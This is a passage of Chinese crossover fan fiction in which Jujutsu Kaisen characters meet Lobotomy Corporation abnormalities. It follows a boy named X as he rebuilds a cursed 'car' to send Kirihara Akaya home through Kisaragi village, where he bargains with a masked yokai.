在「CENSORED」出没的地方居然还能活下来,这是什么传奇耐活王?!
要不是他们不缺人手,艾娃绝对要内推这个「未来可期」的妹妹头小孩。
完全不知道自己因为双手捂着耳朵,眼睛也被他紧紧闭上,阴差阳错之下,竟然躲过了「CENSORED」带来的污染的加茂宪纪望着这个又像是人类又像是咒灵的年轻女性。
“您见到过我的父亲吗?”
像是触发了某些关键词,他眼中的蝴蝶先生窣窣地拍打着翅膀,仿佛想要说些什么。
而那位小姐则是摆出了了然的表情,难不成她可以听得懂咒灵的语言吗?
事实证明艾娃并不能,但是她知道这只蝴蝶是什么意思。
怀揣着慈悲心思的异想体,妄想让人们得到安息的异想体,无望的,被困住的亡蝶葬仪,此时盼望着重操旧业。
简单来说就是,祂想把这个小孩弄死。
“安吉拉女士,我是艾娃,我发现了一个还活着的孩子,亡蝶葬仪也在这。”
她只是员工,她没有资格去替大人物们做下决定,孩子的生死并不在她的手中。
如果要让这孩子步上他父亲的后尘,让亡蝶葬仪送他上路,给予他死亡的安眠,反而算得上是恩赐了。
“好的,安吉拉女士。”
艾娃说着,突然贴近加茂宪纪去他拍了一张照片,许是被她称为安吉拉女士的存在又下达了什么指令,她松了一口气。
“很遗憾,你不能带走他。”北部长相的高挑女性对着背着棺材的蝴蝶宣布了这个令异想体遗憾的消息。
蔫巴巴的蝴蝶胸前的那只手无力的垂下,背着祂的棺材悲伤的离开了,这里到处都是「CENSORED」,别说活人了,连个正常尸体都没处去……
*
X在围观“审讯”,那两个同样出身自御三家的少年此时正在搞一些奇奇怪怪的刑讯手段,加茂长老看起来咬舌自尽的心都有了。
可是他不能,那两个小兔崽子把他的嘴用布塞上了。
审讯审讯,你审完,也得让我讯啊!!
把我嘴塞上了,我怎么说话啊!!纯审吗?!
看着“凄惨”的加茂长老,X原本还算平静的表情都要维持不下去了。
可能是念及加茂长老年龄大了,也许还有同为御三家的情分上,这两个“善良”的人不约而同的没有选择伤害这个可怜的老人。
他们选择了精神伤害,X仅仅是看着,他都感觉受到了白伤,他是怎么一次认识两个绝世坏蛋的?
好问题,加茂长老也想知道,他原本就看不上另外两家,现在更是恨不得去他们的老宅给烧了。
你们都是怎么教育孩子的!把他的手拉起来,在手腕上倒水,让水滑进袖子,把衣服弄的湿答答这种损招是从哪里学来的!
加茂长老呲牙咧嘴,X不忍直视,两个少年一拍即合,蝴蝶窸窸窣窣。
……等等,窸窸窣窣的蝴蝶是哪里来的?
每一只翅膀都伤心的耷拉下来的亡蝶葬仪垂头丧气地回到了主管身边,不愿去看满地的「CENSORED」。
窸窸窣窣声一时间不绝于耳,这让本就“饱受折磨”还不能发声的加茂长老更为烦躁,他恨不得把这群该死的东西全部去喂他的交易伙伴!
可是做不到,他依旧被绑在这里,被两个小混球玩弄。
第三个混球正看着窸窸窣窣发声的蝴蝶,像是在聆听。
果然,这些奇怪咒灵都是这个混蛋的!
“你想要正常的尸体……?”
这个要求并不算过分,甚至比起其他异想体的要求甚至算得上温和,但是在这个地点,X还真满足不了,这里除了活人就是「MINICENSORED」……
不,还真有一个。
X站起来,转向了大门的方向,那里安静的倒伏着一具无头的尸体,那是陷入恐慌后,自己把自己脑袋扭下来的加茂家主。
这不巧了嘛!
总算振作起来的亡蝶葬仪就连走向加茂家主尸体的背影都洋溢着简单的快乐。
X解决了自家异想体的烦恼也很快乐,他接着坐了回去,看着那两个更快乐的高中生,以及准高中生在那里折腾老头。
老头不快乐,他不仅不快乐,他简直愤怒的要当场背过气去。
他们居然连死人都不放过!!
*
总监部四分之三的高层都死在了家中,而发起这场会议的加茂家更是只剩下了一老一少。
经总监部剩余高层确认,加茂家已经名存实亡。
而最新召开的总监部高层会议上,剩余的高层则是像一只只轻装镇定的鹌鹑一样,端正的坐在自己的座位上,安安静静的看着坐在上手的,戴着眼镜笑眯眯的灰发青年。
“诸位,让我们一同为咒术界的发展努力吧。”微笑着的年轻人这样说着。
“当然,如果有人想要阻碍发展……”他没有把话说完,只是用那双绿色的眼眸环视着与会者,不知是在记住这些人的面孔,还是为了些什么。
东京咒术高专
“五条还没回来吗?”夜蛾正道放下了自己手中的资料,看着教室内仅剩的两名学生,一时有些头疼。
这个无辜的可怜老师,因为隶属学校的不同,与总监部的关系没有京都校那么紧密,导致他仅仅知道五条悟因为一些家族事宜请假了。
他只是惯常的问了一句,甚至不是真心实意的疑问,更像是例行工作。
可是坐在下面的两名学生却露出了有些微妙的表情。
“夜蛾老师,你不知道吗?”
酷似□□大哥的老师疑惑的看着夏油杰:“我应该知道什么……!”
他请假的“好学生”给自己的小伙伴发来了一张照片。
五条悟咧个嘴站在总监部门口比了个耶,他背后是塌了一半的建筑。
夜蛾正道看着照片里笑得灿烂的五条悟,一时间只觉得眼前一黑。
坏了!这个熊孩子说的家族事务就是去拆了总监部吗?!
还没等他用自己颤抖的手掏出手机,将熊孩子当场擒拿的时候,他的任职通知就先来了。
原本就已经处于退休边缘的校长拄着拐杖,用意味深长的目光打量了面色古怪的夜蛾正道一番。
“恭喜你,夜蛾君,等下周,你就是东京高专新的校长了。”
“啊?”原本是打算竞争一下副校长夜蛾正道一头问号,这到底是怎么回事?
“老师,夜蛾老师,你看看底下的字。”姑且还算好学生……和五条悟比起来算好学生的夏油杰小声提醒。
夜蛾正道手中此刻还拿着夏油杰的手机,他下意识看起了底下的字。
不看还好,一看差点把这个老实本分的教师直接吓死。
好消息:五条悟没去拆总监部。
坏消息:五条悟带着他的小伙伴们把总监部里面的老头都宰了!!
“看来,你终于知道了啊……既然夜蛾君你已经明白了现状,那就跟我来吧。”
家入硝子手中拿着代替香烟的棒棒糖,看着空荡荡的教室。
在某种角度来说,总监部高层的大规模死亡,这让她的压力也减轻了不少。
至少那群恨不得她一步都不离开高专的老头再也没有机会来约束她了。
*
阻碍安静生活的因素消失了,安吉罗斯家回归了往日的平静。
虽然是祖传术式的拥有着,可在加茂主家已然衰落的现在,名义上的现任家主加茂宪纪作为诚意被送了出来。
何况大长老至今未归,这就让他这个孩子更好被势力壮大的分家拿捏。
妹妹头的孩子揉了揉自己的脸,试图让自己看起来更稳重一点,还没等他按下门铃,就听到里面的房子发出了火车的鸣笛声。
以及……一个被火车迎头撞上的!
“蝴蝶先生!!!!”孩子不受控制的惊叫着。
那个高高飞起的身影不是他那天看到的亡蝶葬仪还是什么?!
原本蝴蝶先生只是很单纯的在窗边坐着,可是不知道从哪里冲出来
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一列火车,而后带着蝴蝶先生冲出了墙壁。
此时那只优雅的蝴蝶像是真正的蝴蝶一样飞了起来,而后啪叽一下摔在了地上,像是听到了孩子的声音,祂颤颤巍巍的伸出了祂的手,对他比了一个没关系的手势,不动了。
完全没想到迎接自己的是死掉的蝴蝶先生,孩子一时不知作何反应,他是该伤心呢?还是该为了世界上消失了一个咒灵而高兴呢?
正当孩子左右脑互搏的时候,险险躲开黄泉列车的莱茵哈特从窗户翻了出来。
这时,加茂宪纪才发现,那列火车根本没有破开墙壁,那里完好无损,可是蝴蝶先生确实是被从房子里被撞出来的……
莱茵哈特刚把「亡蝶葬仪」捡起来,就看到了站在远处惊讶至极的妹妹头小孩。
“那个车……”
“什么?”已经知道小孩身份的青年将他放了进来,却听见小孩一脸正经的说他见过类似的列车。
莱茵哈特也惊了:“你见过黄泉列车?!”
这不可能!
“不不不,”孩子连忙否定,“我听长老和父亲说过一个类似的车。”
“他们说那个车会跨越空间与时间,就像刚才那个没有破坏墙壁的车一样。”
加茂宪纪仰起头,却发现随着他的叙述,莱茵哈特的表情更奇怪了。
“你是在说WARP列车?”
“WARP……列车?”出身传统家庭的孩子没有什么接触英语的机会,一时间有些念不好那个特定的词语。
“不是吗?那宪纪君说的车是什么?”莱茵哈特递给小孩一杯可可。
他也不知道是谁买的,但是给孩子喝茶还是咖啡也有点太过头了。
“什么车?”英语等级彻底膨胀的切原赤也突然出现,他现在对「车」特别敏感。
在这里生活说实话很不错,可是他想要回家,回去有立海大附中网球部的地方。
所以听到「车」他就来了。
不过在看到是一个小孩,他就蔫了,小孩口中的车大概率是模型或者玩具之类吧。
可还没等少年失望离开,他就被叫住了。
“我知道你,我在父亲的书房见过你的资料,切原赤也,如月车站的受害者。”
卷毛的少年猛地停住了脚步,这个「车」还真是他的那个「车」啊!
“宪纪君,你说的那个车,是如月车站吗?”
“对,我之前犯错的时候,被关进过书库,里面除了书什么都没有,我很害怕,就躲在了角落,结果那本古籍中记载了「如月」。”
“父亲说过如月车站是新出现不久的传说,可是「如月」一直都有,祂有时候是以村子的形态,又或者是河流的标识出现,而「车」则是将猎物带向祂的载体。”
“至于切原……先生,”孩子犹豫半晌,选择了敬称,“你很幸运,明明是必死的局面,你却不知道为何逃脱了被「如月」吞噬的命运。”
切原赤也不由得想起了那天的经历:“估计是你说的那个「如月」被吓走了吧。”
毕竟早知道了魔法少女的真身后,他大概也知道那天发生了什么,传说中的「如月」也遭不住魔法少女大混战,估计等「车」把他扔下,就赶紧跑路了。
“诶——老子也回家查了,可是老子只查到了如月车站。”五条悟突然刷新。
“我也没发现你说的「如月」,记录只有「如月车站」。”
禅院直哉微微皱眉,他是让侍女找的,是不是找漏了。
五条悟看出了禅院直哉的纠结:“老子是自己找的。”
“也许是……我们家记录的比较全吧。”与两个意气风发的少年相比,孩子有些怯懦。
其实,孩子没说,在家里的时候,父亲和长老是看不上禅院家和五条家的。
「我们加茂家可是传承完整的阴阳师家族,与那两个赌术式的可笑家族可不一样,宪纪,你要记住,这就是加茂家。」
孩子不由得想,是不是因为他们是阴阳师家族,所以比另外两家多记载了很多东西呢……
孩子保持微笑,想想算了,说出来,他怕自己挨揍。
因为不知道孩子叫什么,切原赤也选择跟着认识的人叫:“宪纪君,那你知道「如月」出现的条件吗?我还能回去吗?!”
“我也不清楚,上面只写了这么多,就连选择猎物都是随机的,单纯是由「车」选择睡着的猎物,随机拉入。”
“可恶!我为什么要在车上睡觉啊!”卷毛少年懊恼的揉着自己的头,深感再也不要在车上睡觉了。
扑簌簌的声音响起,「亡蝶葬仪」复活了。
加茂宪纪瞳孔骤缩,这个他们家真没记,就算是那些根据都市传说生成的咒灵都不会有这么快的复活速度。
更何况那些只能说是全新的个体,而这个蝴蝶先生明显是复活,而且祂分明认识自己!
这时,二人才看见亡蝶葬仪。
“祂怎么死的?”
禅院直哉不敢置信,因为今天主管在地下的缘故,A级都老老实实蹲在下面,上面基本没有异想体,亡蝶葬仪总不能是脚一滑摔死了吧?
莱茵哈特沉默不语,直到看不到那只漂亮蝴蝶后,才小声蛐蛐:“祂被黄泉列车撞死了。”
“列车?!”切原赤也突然兴奋,“你们也有车吗?”
“切原君,那辆车会把人撞死哦。”莱茵哈特泼冷水。
“哦……”蔫巴小孩趴回桌子上,自闭了。
呜呜的嗡鸣声再一次传来,眼熟的列车下一次呼啸而出,莱茵哈特一手一个把两个小孩揪了起来,目送着「黄泉列车」贴着他们的脸冲了出去。
“怎么回事?第二次了!取票员去哪了?!”今天第二次要被送走的莱茵哈特很生气,他决定一会就去找今天负责取票的员工麻烦。
莱茵哈特的愤怒在看到取票员时戛然而止。
坏了!取票员被「一无所有」穿走了!!
25.天外飞车
“主管……主管……!”原本性格严肃,不苟言笑的取票员此刻脸上挂着弧度不变的傻笑,不停的发出「一无所有」的声音。
莱茵哈特还没来得及向主管报告这个悲伤的消息,就听到门外传来了砰的一声巨响。
第二次启动的黄泉列车和正好路过的出租车撞上了。
“这不可能!!”
没错!这不可能!莱茵哈特不由得点头,可随即他就意识到了不对。
这不是他的声音。
禅院直哉不敢相信自己的眼睛,他又不是第一天来这里,根据他的印象,黄泉列车的作用范围只有这个院子,高度不限。
但是祂在出了院子之后,连影子都不会有,更不可能会撞车了……撞异想体倒是有一定可能性。
可「车祸」事件就这样发生了。
那辆倒霉的一般路过出租车就这样被撞得高高飞起,在旋转不知道多少圈后,以倒栽葱的姿势一头栽进了院子里。
好巧不巧的是,落地点那里种着一片小白花,甚至还有一个倒霉文职在那里哼着歌拿着「壶」浇花。
「浇花」文职反应速度很快,他抱着「壶」用这辈子最快的速度冲了出去,成功的在出租车落地之前跑到了安全位置。
Delta先生的胸膛不住地起伏着,瞳孔地震的看着天外飞车,差一点,就差一点,他就要死的那么草率了!
就算是文职,被飞车撞死也太离谱了!!
只不过他跑掉了,「小白花」没跑掉,因着车的惯性过大,它甚至将那朵微微发光的小白花砸扁后,撞见了地里。
好在这底下似乎有什么东西将它拦了下来,最后这辆车扭曲变形,凄惨无比的车底朝上,倒在了一边。
Delta先生原本庆幸的表情凝固在了脸上,他看到了什么?陆生鮟鱇自己把自己从土里拔出来了?!
陆生鮟鱇很生气!
就算是异想体,在正吃饭的时候狠狠肘击也会生气,更何况这个鬼东西不仅挤走了自己的饲养员,还差点把祂「眼睛」砸的飞出去!
随着地面的微微震动,一大团白色的「毛茸茸」顾涌顾涌的将被砸扁的自己从土里拔出来,坚定不移的朝着「车」前进。
肚皮朝天的「车」似乎也发现了自己惹到了什么不得了的存在,引擎声不绝于耳,它试图重新发动这辆被砸的奇形怪状的汽车。
可比起不断逼近的外部威胁,更早来到的却是它身体内部突兀响起的咯吱声。
一声尖锐的金属破裂声后,它被从内部撕开了一个大口子,血迹斑斑的乘客阴沉着脸顺着裂口爬了出来。
那是一个极为强壮的男人,柔顺的黑发被血粘在了脸上,整个人看起来就像是从地狱中爬出来的恶鬼。
伏黑甚尔也是这样想的,他原本只是在出租车上小憩一会,结果就变成了这个鬼样子。
阴沉的男人环顾四周,呵,这可真有意思,好热闹啊。
受惊兔子般的上班族,眼睛瞪的溜圆的黄毛小鬼,黑发卷毛小鬼,黑发小鬼……
明明在这种要命的情况下,伏黑甚尔却第一时间怀疑起,自己是不是被撞到了学校里,要不然哪来的这么多小鬼头。
哦,不是学校,他看到了六眼,那个白毛小鬼。
仔细看,黄毛的那个他也认识,喋喋不休的,禅院家主的孩子。
“甚尔君!!快让开!”那个黄毛小鬼大声喊叫着,就好像有什么东西马上撞上一样。
伏黑甚尔并不是不听劝的莽夫,他动作敏捷的让开了路,一团白花花的东西就一头撞上了那辆被他撕开的出租车。
不,伏黑甚尔推翻了自己心中所想,那应该是个咒灵。
而现在,另外一个疑似咒灵的东西张大了自己的嘴,仅一下就将「车」咬成了「车.zip」。
*
可怜的取票员拿回了自己的身份,一时没忍住的「一无所有」被关进了属于祂的收容室,正在里面「主管……主管」的叫。
而现在,有一件更重要的事情摆在了X面前。
因为捣乱的狗子产生的连锁反应,他获得了「车.ZIP.RAR」。
「车」被陆生鮟鱇泄愤般的咬了很多下,可是这个看似脆弱的交通工具除了越来越「紧凑」之外,完全没有报废,它居然还“活着”。
还有这位……
禅院直哉眼睛亮晶晶的向X介绍着这位无辜被卷入的“倒霉蛋”的身份。
“甚尔君是我的堂哥!”
黑发少年看着兴奋的不正常的禅院直哉点了点头:“你好,禅院君。”
伏黑甚尔居高临下的看着又一个小鬼,语气倦怠:“我是伏黑。”
“他不是你堂哥吗?”X问面露空白的禅院直哉。
“甚尔君!什么叫做伏黑?你不也是禅院家的人吗?!”
被金发少年吵到的黑发男人揉了揉自己的耳朵,有些坏心眼的咧了咧嘴。
“我入赘了,随女方姓。”
“嗬!”禅院直哉不受控制地发出了一声怪叫,半晌一个字没说出来。
他现在的脑子里被「入赘」刷屏了。
“好吧,伏黑君。”X看了一眼面色古怪的禅院直哉,在思考要不要叫员工把他抬走,感觉这个可怜孩子要晕过去了。
“你能告诉我刚刚发生了什么吗?”
伏黑甚尔打量着这个地位明显凌驾于禅院直哉之上的黑发小鬼。
半晌,伏黑甚尔的身体骤然放松,向后一靠,懒散地开口:“情报可不是免费的。”
正好他赌输了,这个看起来也是个大少爷,不在这里搞点钱都对不起他昨天赌马赌输的五号。
果然不出伏黑甚尔所料,那个金色眼睛的大少爷完全没有错愕的情绪。
“你想要多少。”「大少爷」语气平静的注视着这个头破血流的男人。
“那就要看您的意思了。”
X一时间被问住了,他也不知道该给多少啊!他本来也和咒术师不怎么熟悉,更别提是买情报了。
伏黑甚尔这种人精自然看出了少年的犹豫,果然是对金钱没有概念的大少爷。
“五百万,给我五百万。”
男人边说着,边注意着X的表情变化。切,要少了吗?
很快,五百万便打到了伏黑甚尔的账户上,虽然看上去很凶恶,却意外很有职业操守的男人开始叙述今天发生的事情。
……
“啊!你也是睡着了!!”切原赤也几乎要跳起来,这岂不是代表着那辆被
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狠狠压缩的出租车就是他日思夜想的「车」嘛!
“哦……这么看来,你们两个身上的残秽还真是一样的啊。”
五条悟悄悄将自己的墨镜微微抬起,快速的打量了一下伏黑甚尔。
“你眼睛怎么了?”五条悟的举动很奇怪,按他的表现,天赐的六眼反而像个累赘一样。
“隐形人大叔,你有所不知,”五条悟不知道从哪里掏了一条手绢出来,面露哀戚,好像他是一个小可怜一般,“我其实是个瞎子,刚刚只是在假装自己能看到而已。”
伏黑甚尔面色复杂,这个六眼是脑子坏掉了吗?要是五条家盼望了这么多年的六眼是这个性格,就算是他这种人,都要忍不住同情他们了。
“以防万一,伏黑君,你还记得今年是哪一年吗?”
这是个什么奇怪的问题,但是看在钱的份上,伏黑甚尔还是回答了大少爷的问题。
“看来「车」还没来得及将你带离你所在的时间。”
黑发少年站起身,示意莱茵哈特将「车」带到地下,他知道怎么把切原赤也送回去了。
在离开之前,X回过头:“伏黑君,你要不要在我这里治疗一下?”
男人表现的是在太平静了,让人不经意间就忽略了他其实遍体鳞伤的事实。
*
“这样做真的可以吗?”孩子的语气带着犹豫。
加茂宪纪围观了X操作的全程,他总觉得有哪里不对。
如果这辆车真的是「如月」的「车」的话……使用这么物理,完全不含咒力的修理手段,真的靠谱吗?
留意着实时数据的X抽空解答了孩子的疑惑:“宪纪君,这辆车其实只是一个载体,只要有「车」这个概念就可以了,换句话说,就是它只要能开,就能顺利抵达「如月车站」。”
“不过……你的担忧也有一定的道理。”X停下了手中的动作,“我好像改过头了。”
两人一起沉默的看着「车」,确实,现在它完全看不出来是一辆出租车。
X只是习惯性的使用了「家」里的材料,可是他忽略了自己的材料其实与这个世界格格不入。
“要不我们先试试呢!”加茂宪纪试图活跃一下死寂的气氛。
这就是北条光希出现在这里的原因,莫名其妙又上任司机一职的年轻人面露难色。
“安吉罗斯先生,请问这是什么?”
“车。”
面露难色的司机小哥狐疑的拉开了这个因为修补变得花里胡哨的车门。
还真是车,一开始他还以为这是一个垃圾回收再利用的奇怪东西。
“这个车,我的员工开不了。”这也是X将北条叫回来的原因。
它似乎只能靠咒力驱动,至于五条悟喝禅院直哉……他们两个本质上都是大少爷,他俩不会开车。
为了乘员的人身安全,以及「车」的稳定性,还是找一个靠谱人来吧。
北条小哥咽了咽口水,这真的靠谱吗?
他半信半疑的输出了咒力,轻微的引擎声响起,车子启动了。
秉承着为自己的实验品负责的心理,X坐在了副驾驶,准备随时记录数值。
随着北条光希踩下油门,这辆奇怪的车就这样缓缓开了出去……
26.如月
黑发少年不停的在手中的平板样的东西上点点点。
上面不断流淌着成串的数据流,北条光希在平缓行驶之余,飞快地瞄上了一眼。
结果给自己恶心的够呛,差一点达成了晕车的司机这一奇怪的成就。
而一直全神贯注的观察数据的少年却完全没有任何不适:“向左转。”
明明自己一直在观察着路况,可在听到少年的话都第一时间,北条光希愕然发现自己不知在什么时候行驶于浓厚的黑暗中,而这里仅有一条光秃秃的道路!
明明他刚才看到的还是安吉罗斯宅外面的场景!
“可是左边没有路啊……”北条小哥咽了咽口水,「车」很应景的打开了车灯,照亮了这条不宽道路两旁深不见底的深渊。
不是他质疑这位天才,可是这种情况下左转,搞不好他们俩要一起交代在这里。
X闻言有些疑惑,他叽里咕噜说什么呢?这里已经是三岔路口了,无论是他观测到的数据,亦或是他肉眼观看到的场景都是。
“你先收回咒力。”X发现了盲点。
“哦。”虽然不知道为什么,但是很有工具人自知之明的北条小哥乖巧的将咒力收了回去。
说来也怪,在他停止输出的一瞬间,他就看到了不同的风景。
X一直注意着「司机」的表情,果然,这是「车」搞的鬼。
他在修「车」的时候,强行改装,将主动权拿走了。
要不然「车」根本不会有司机,这是一个全自动驾驶的神奇交通工具。
但是太智能也不好,它不会老老实实的将他们这些人带回老巢。
基于改装子取箱的经验,X也顺手改了「车」。
不过看北条光希的反应……「车」还是在隐秘的为他们的旅途增加阻碍。
听了解释大为震撼的北条光希重新输入咒力,准备闭上嘴巴,老老实实的当一个不会质疑的工具人。
而原本还在观测的黑发少年,则若有所思的打量着这辆被他改装的「车」。
北条光希的余光中,似乎瞥见少年嘴角很不明显的上扬了一瞬,他好像从那件白大褂中拿了个长方形的东西出来。
而在那个东西被拿出来的一瞬间,他手中的方向盘微不可查的振动了一瞬,好像是被吓了一哆嗦。
眼见少年没有新的指示,北条光希极快的看了一眼,那个东西的真面目。
那是一个类似于迷你售票窗口的东西,这是模型还是手办,做的有点细致啊。
X将「黄泉列车」的售票处摆在了自己前面的仪表板上。
果然,在刚刚痛击自己的存在也在车上时,「车」异常老实,北条再也没看到奇怪的景色。
不知行驶了多久。
“到了。”导航了一路的黑发少年看着信号源强烈的虚拟地图,他们的坐标与信号源重合了。
“可是这里什么都没有啊。”北条停下车,甚至很没有安全意识的将头伸出了车窗,试图直接侦查一下外部环境。
“请将你的头收回来,”X面无表情的看着这个很勇的家伙,“你不怕被什么东西咬掉脑袋吗?”
像北条光希这种人,在他那里搞不好因为左脚先迈出门,就被异想体送走了。
鲁莽的年轻人讪讪地缩了回来:“您打算怎么做?”
X没有回答,他直接行动了。
他按下了喇叭,这也是他非要跟来的原因之一,这个「车」需要咒力驱动,但是「如月」却是极度排外的。
有任何不对劲的情况下「如月」都不会开门。
但是他X,只是一个平平无奇的普通人,他连一丁点咒力都没有,几乎将人畜无害写在了脸上。
果然,在喇叭响起来后,眼前的场景改变了。
「车」整个开始融化……融了一小半,主要融的是原装的部分,被X叮叮当当敲上去的部分还在。
“您在做什么?”北条光希不敢相信自己的眼睛,他是不是把散落一地的零件一个个塞进了那个小小的售票处里去了?!
不知是不是错觉,他好像听到了一个细细的声音在抗议,就像是售票处里真的坐着一个小小的工作人员一般。
“回收材料,这种材料,按照现在的科技水平,属于不可再生资源。”
除非他搞到,或者研究出来被他的员工们称为「合金」的东西,否则这些材料只会越用越少。
“啊啊啊啊啊啊啊!”风声伴着女孩的尖叫声飞速朝着正在收拾残局的二人逼近。
北条光希瞳孔地震地看着从天上掉下来,被树枝挡了一下才没出大事的水手服少女。
这是哪来的?还有第二辆「车」?!
*
“请问……你们也是从现代来的吗?”
天知道一脚踩空的日暮戈薇在从眩晕中回过神来,就看到两个穿着现代服饰的身影受到的冲击。
好奇怪哦,她好像知道那些村民为什么要用那种奇怪的目光看着她了,真的是格格不入啊!
最主要的是,那个穿着白大褂的人,手里还拿着一个屏幕亮着的平板啊!!
这身黑与白的装扮,配合上少年写满冷淡的面孔,这是哪里来的科学怪人吗?
她家的食骨之井没有外人进出,那这俩人是怎么来的?
难不成是时光机?!
正想着的时候,滴的一声响,那个穿着白大褂的男孩子拿着平板扫了她一下。
“你不是被「车」带来的。”
X看着屏幕扇与切原赤也截然不然的数据,那不成还有别的方法进入「如月」?
“什么车?脚踏车?我的脚踏车在我的同伴那里。”少女满脸写着疑惑,她好像理解错了少年的问题。
……
“诶?!这里居然是吃人怪物的老巢吗?!”少女吃惊。
其实并不吃惊,她其实没少见吃人的妖怪来着,但是在这个时候,日暮戈薇觉得自己需要配合一下。
“不过我的同伴们应该很快就能来救我,我们先找个地方躲起来吧。”
主要是这两个人看起来没有一个能打,她原本背在背后的箭矢也在下落的过程中遗失了。
要是真有吃人的妖怪,他们弄不好都要交代在这里。
“其实我们的目的就是找到那个吃人的怪物。”
北条看X还在平板上调整着什么东西,便与日暮戈薇攀谈起来。
“啊?”
“别看我这个样子,我也可以算得上咒术师呢!”
“咒术师?我只知道巫女和法师……”
正当二人有一句没一句尬聊的时候,X终于调出了“小地图”。
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“日暮小姐,你要和我们一起走吗?”黑发少年问。
“您也是咒术师吗?”日暮戈薇总觉得这个少年给她一种老师的压迫感,她下意识的拘谨起来。
“不,我只是一个普通人。”
北条闻言,露出了你高兴就好的表情。
普通人……哈哈,把总监部大换血的普通人?还是徒手改咒灵的普通人?
这就不是普通人!
北条光希很想掀桌而起,可是他不能,他害怕。
“诶?”
“我只是擅长搞一些研究,姑且认识几个咒术师而已。”黑发少年突然退后两步,重新扫描了一下满脸问号的少女。
“你喜欢什么武器?”他说着,像是RPG游戏里的武器商人一样,叮铃咣啷的拿出来了一堆“武器”。
有可以辨别的武器,也有一些意味不明,不知道是什么东西的“武器”。
“你也选一个。”金色的眼睛移向北条光希。
“我也有吗?”北条小哥突然有点感动,他这种人也会被发武器吗?
“不过……我只在射击俱乐部玩过几次枪。”
话音未落,黑发少年便从武器堆里拎出来了好几把或长或短的枪。
“选一个吧。”他说。
而另一边,擅长使弓的日暮戈薇翻了半天,决定了自己的武器,她选择了一把翠绿色像是由树木枝干制造而成的弩。
她还没等说话,黑发少年便打了个响指,几乎是一瞬间,她的水手服外面就多了一套衣服,一套与弩一看就是一套的衣服。
解决了日暮戈薇后,X转过头去看北条光希,就看到他捡起了一杆通体蓝色的长枪。
“北条君,”X的目光复杂,在北条光希与「被选中的武器」间游移,“一会你开枪的时候,记得找一个没人的方向。”
要不是他知道北条光希完全不知道内幕,他都要以为这个人是故意的了。
这是什么天选内鬼,不过……既然这样的话,他就选择近战武器好了。
黑发少年随手就拿起了内部燃烧着澄黄色火焰的,长柄的,形似灯笼的锤子。
*
这是一处十分热闹的祭典,富有节奏感的太鼓声,商贩们的吆喝声,以及过多人们交谈,所导致的嘈杂的背景音。
这与日暮戈薇心中的冰冷妖怪巢穴截然不同,这里更像是一个其乐融融的人类村落。
正想着,一道苍老的声音自她背后传来。
“树妖小姑娘……你卖什么?”
日暮戈薇一时间还没反应过来这是在叫自己,好在不断的左顾右盼,观察着周围的情景。
直到反应过来的北条用手肘怼了她一下,示意她接话。
“我什么都不卖,我今天只是来买东西的。”
少女试图将这个戴着一张惨白微笑面具的老妖怪糊弄走。
可是老头嘿嘿笑了两声:“不要说笑了小姑娘,你要是不准备卖东西,你进不来如月之乡。”
“你们树妖卖的都是好东西,趁着你还没进到集市里,快给老夫瞧一瞧!”
老头说着,像是控制不住自己的兴奋之情一般,整个“人”像一团粘土一样,奇形怪状的越来越长。
最后干脆用它细长的身体将他们几个面嫩的愣头青“妖怪”给围了起来。
27.菟丝子
被老头的“身体”围住的北条光希一阵恶寒,他上前一步,将少女挡在身后,自己直面那张惨白色的木质面具。
“她的东西在我这里。”
正当日暮戈薇不知所措的时候,成功摸到了神奇小道具的X从自己的怀里掏出来一瓶酒红色的晶莹剔透的液体。
“这是「巨树汁液」,”好像是某种鸟类妖怪的少年晃了晃那个漂亮的瓶子,“它是很珍贵的补品,使用得当的话,会提升你的能力。”
“只是……”少年的话还未完全说出,戴着面具的妖怪老头已经恨不得将这瓶“神药”从他的手中夺走了。
他们可以清晰的听到急促的喘息声,就算这个老家伙将自己隐藏在面具后,也可以看出他的激动。
细长的老家伙正要伸手来接,可那个可恶的,眼睛多得有些恶心的鸟妖却很可恶的将手缩了回去。
老头心疼的看着在圆润瓶子中荡起波澜的液体,生怕这只鸟妖一个不小心就把瓶子摔了。
毕竟他长得黑不溜秋的,还有那么多眼睛,一看眼神就不好!
“我们可以与你做交易,可你又能给我们提供些什么?”可恶的鸟妖居高临下的看着激动的细长身影。
老头隐于面具后的眼睛转了一圈,这几个妖怪可年轻得很啊……
“我有钱!我给你钱!!”一副肉疼样子的老妖怪将金子恋恋不舍地丢在地上,就急切地要来取走少年手中的瓶子。
这几个一看就是乡下妖怪,尤其是这只鸟妖,哼……你就沉浸于这些无用金子的光辉之中吧!
可少年摇了摇头:“我不缺钱财,我需要一些更让我感兴趣的东西。”
“那你想要什么?”没忽悠住的老头不满的抿了抿嘴,他的喉咙已经有些沙哑,他已经不想再等待了。
“北条先生,他真的能有交换的东西吗?”日暮戈薇小声问北条光希。
毕竟,这个老家伙身上甚至只有一块脏污不堪,还破了一个洞的麻布,他几乎把捉襟见肘写在了身上。
“您没有必要与这样的存在做交易。”深感赞同的北条悄咪咪的低声对X说道。
X给了他们一个眼神,示意这两个人稍安勿躁,他的确有一个想要的物品。
“把你的面具给我。”
虽然这个面具看起来就是一个普普通通的面具,放在现代更是廉价批发的商品。
但是说真的,这个和他家里的“糯米团子”身上的小脸几乎一模一样,哪怕当伴手礼买回去都不亏。
更何况……巨树汁液可不是这样一个心怀不轨的老头可以消受的,他之前的好心提醒都被打断了,只能说祝他好运。
可听到少年要求的老头却像是被X狠狠踩了一脚似的,整个妖怪都不好了,他像一根被拉扯到极致的弹簧一样,整个妖怪快速缩了回去。
“小朋友,你要不要考虑一下其他的东西。”他用谄媚的语气提议道。
“我就想要你的面具,况且……”X上下打量了一番老头,突然冷下脸来,“你身上难道还有什么能与我提供的宝物等价的物品吗?”
冷酷的“鸟妖”拒绝了他的提议,并演了起来。
戴着面具的老妖怪不说话了,可三人都能感受到,在面具的孔洞之后,有一双眼睛正不怀好意的打量着他们。
“哈哈,我刚刚是与你们说笑的,面具当然可以给你。”
老头滑跪的十分迅速,就像刚刚百般推脱的人不是他一般。
“只不过……”他做出了一副十分为难的样子,“我只是一个老头子,几位也看到了,这里的妖怪数量极多,我自己带着此等宝物……”
他搓搓手,提出了另一个条件:“几位可否护送我离开?”
“当然!不是让你们送我离开,只要将我护送至如月之乡的入口就好。”
“我会额外支付雇佣你们的报酬,相信我,这绝对也是不可多得的好东西。”
他说着,从破麻布中掏出来了三粒圆形的宝石。
宝石晶莹剔透,偶尔泛着浅金色的光晕,简直在自己身上写满了不凡。
北条光希用一种看傻子的眼神看着这个可疑的老头。
这种品质的东西,哪怕放在总监部都是会极速失踪,而后悄悄出现在某个家族忌库中的存在,你说白给?
